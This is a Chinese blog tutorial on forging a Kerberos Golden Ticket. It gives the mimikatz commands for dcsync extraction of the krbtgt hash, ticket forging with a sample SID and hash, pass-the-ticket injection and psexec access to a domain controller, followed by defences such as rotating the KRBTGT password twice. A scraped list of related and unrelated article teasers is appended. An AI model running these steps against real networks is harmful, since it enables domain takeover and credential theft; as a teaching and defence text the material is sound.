伪造TGT黄金票据
通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题
第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责
针对Kerberos协议需要解决的第一个问题:如何证明你本人是XXX用户的问题。攻击者提出了一种思路,伪造身份证明的TGT票据进行攻击,所以出现了一种针对Kerberos认证的攻击手法-伪造TGT黄金票据。
Golden Ticket(黄金票据)是通过伪造的TGT(Ticket Granting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的TGS,可以说能够伪造黄金票据既有了域内的最高权限。
高权限的TGT:包含PAC,PAC包含Client的sid,Client所在的组,伪造域管理员账号你就有了域管理员权限
ticket传递攻击,通过传递Kerberos的ticket,登陆机器,简称PTT
伪造黄金票据
域控域名:superman.com
由于黄金票据是伪造的TGT,所以与域控制器没有AS-REQ或AS-REP(步骤1和2)通信,直接进入认证的第三步当作TGS-REQ的一部分被发送到域控制器以获得服务票据(TGS)。
制作黄金票据的条件:
1. 域名称
2. 域的SID值 #通过whoamo /user 去掉最后横线的数字剩下的就是SID
3. 域的KRBTGT账户NTLM-HASH
4. 伪造用户名,可以是任意用户名
第一步 获取krbtgt的哈希值
通过mimikatz中的 lsadump::dcsync /domain:superman.com /user:krbtgt 命令获取krbtgt的哈希值

第二步 伪造票据
得到krbtgt hash之后使用mimikatz中的Kerberos::golden功能生成金票golden.kiribi,即伪造成功的TGT
mimikatz # kerberos::golden /admin:administrator /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /krbtgt:5bba52548e7171b4529f93f758ef66e8 /ticket:golden.kiribi

第三步 获取权限
清空本地票据缓存,导入伪造的票据
kerberos::list #查看本地保存的票据,观察client name
kerberos::purge #清除本地票据缓存
Kerberos::ptt golden kiribi #导入伪造的黄金票据
kerberos::list #查看本地保存的票据,观察client name是否变为我们票据中的用户名

第四步 利用伪造的黄金票据
使用psexec工具 psexec.exe \\域控机计算机名 cmd.exe
得到一个cmd命令行,whoami查看用户为我们伪造的administrator
黄金票据使用场景:有一个domain amdin 权限的用户shell,获取krbtgt,sid和ntlm-hash的权限,就可以伪造任意用户
防御方法:
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
对第三种防御方法的解释如下:
老密码
登录两台机器
新密码1
有一个新密码1,以后登录要用新密码1登录,但是已经用老密码登录的不会被下线
新密码2
有一个新密码2,以后登录要用新密码2登录,但是已经用新密码1登录的用户不会被下线
总结
1.伪造黄金票据要知道krbtgt账号的NTLM-hash
2.黄金票据能用在权限提升和权限维持
3.利用mimikatz工具在win2003以下包括win2003在导入黄金票据报错
伪造TGT黄金票据的更多相关文章
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- 黄金票据(Golden Ticket)的原理与实践
0.黄金票据是什么? 在与认证过程中,经过client与AS的通信会得到TGT,带着TGT想TGS请求,得到票据ticket,用这个ticket可以来访问应用服务器.如果这段有什么疑问,欢迎参考Ker ...
- 域渗透之通过DCSync获取权限并制作黄金票据
环境背景 账号: admin 没有域管权限 admin02 有域管权限 administrator 有域管权限 模拟渗透过程: 利用任意方法已经登录到client1(Windows 7),在clien ...
- 域渗透-凭据传递攻击(pass the hash)完全总结
总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki https://en.wikiped ...
- 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二)
一.环境搭建 1.1 靶场下载 靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶机通用密码: 1qaz@WSX 1.2 环境配置 ...
- Kerberos的白银票据详解
0x01白银票据(Silver Tickets)定义 白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据.如下图所示,与域控制器没有AS-REQ 和 ...
- 域渗透之票据传递攻击(pass the ticket,ptt)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...
- Kerberos与票据的爱情故事
0x01.Kerberos认证原理 Kerberos是一种认证机制.目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务: 保护服务器防止错误的用户使用,同时保护它的用户使用正确 ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
随机推荐
- 阿里fastjson解析
解析案例 String object="{total=1, rows=[{_Account=3646808, UserID=131514, Mt4Name=SewwoaIQQS, Serve ...
- 创建dynamics CRM client-side (八) - 获取attribute的值 和 设置disable
大家可以用下面的方式来获取attribute的值 formContext.getAttribute("address1_shippingmethodcode").getText() ...
- idea搭建springmvc(maven版)
一.创建maven项目 (1)选择 file > new > project (2)填写对应信息,一路点击next 配置自己本地的maven,继续next 命名项目名(随意写,但要易懂), ...
- 小白学 Python 数据分析(1):数据分析基础
各位同学好,小编接下来为大家分享一些有关 Python 数据分析方面的内容,希望大家能够喜欢. 人工植入广告: PS:小编最近两天偷了点懒,好久没有发原创了,最近是在 CSDN 开通了一个付费专栏,用 ...
- 自学前端开发,现在手握大厂offer,我的故事还在继续
简要背景 我是一个非科班出身的程序员,而且是连续跨专业者,用一句话总结就是:16 届本科学完物流,保送研究生转交通,自学前端开发的休学创业者. 17 年休学创业,正式开始学习前端,离开创业公司后,我又 ...
- Docker(一) 简介
简介 Docker是一款针对程序开发人员和系统管理员来开发.部署.运行应用的一款虚拟化平台.Docker 可以让你像使用集装箱一样快速的组合成应用,并且可以像运输标准集装箱一样,尽可能的屏蔽代码层面的 ...
- sockaddr与sockaddr_in的关系
WIN7+VS2013 sockaddr // // Structure used to store most addresses. // typedef struct sockaddr { #if ...
- C 语言宏定义函数编写时 do-while 的妙用和一些注意事项
在 C 语言中,我们都知道可以用宏定义来编写函数,一般称为宏函数.如果一个宏函数比较复杂,那么在编写这样的宏函数是有一定技巧和注意事项的.文章给出一些我认为值得关注的地方,以及一些注意事项(个人建议) ...
- HDU 6274 Master of Sequence (暴力+下整除)
题意 两个1e5的数组a,b,定义\(S(t)=\left \lfloor \frac{t-b_i}{a_i} \right \rfloor\),有三个操作 1 x y:将\(a[x]\)变为\(y\ ...
- throw throws区别
1.throws是在方法上对一个方法进行声明,而不进行处理,向上传,谁调用谁处理: 格式: 权限修饰符 返回值类型 方法名(参数列表) throws Exception1,Exception2...{ ...
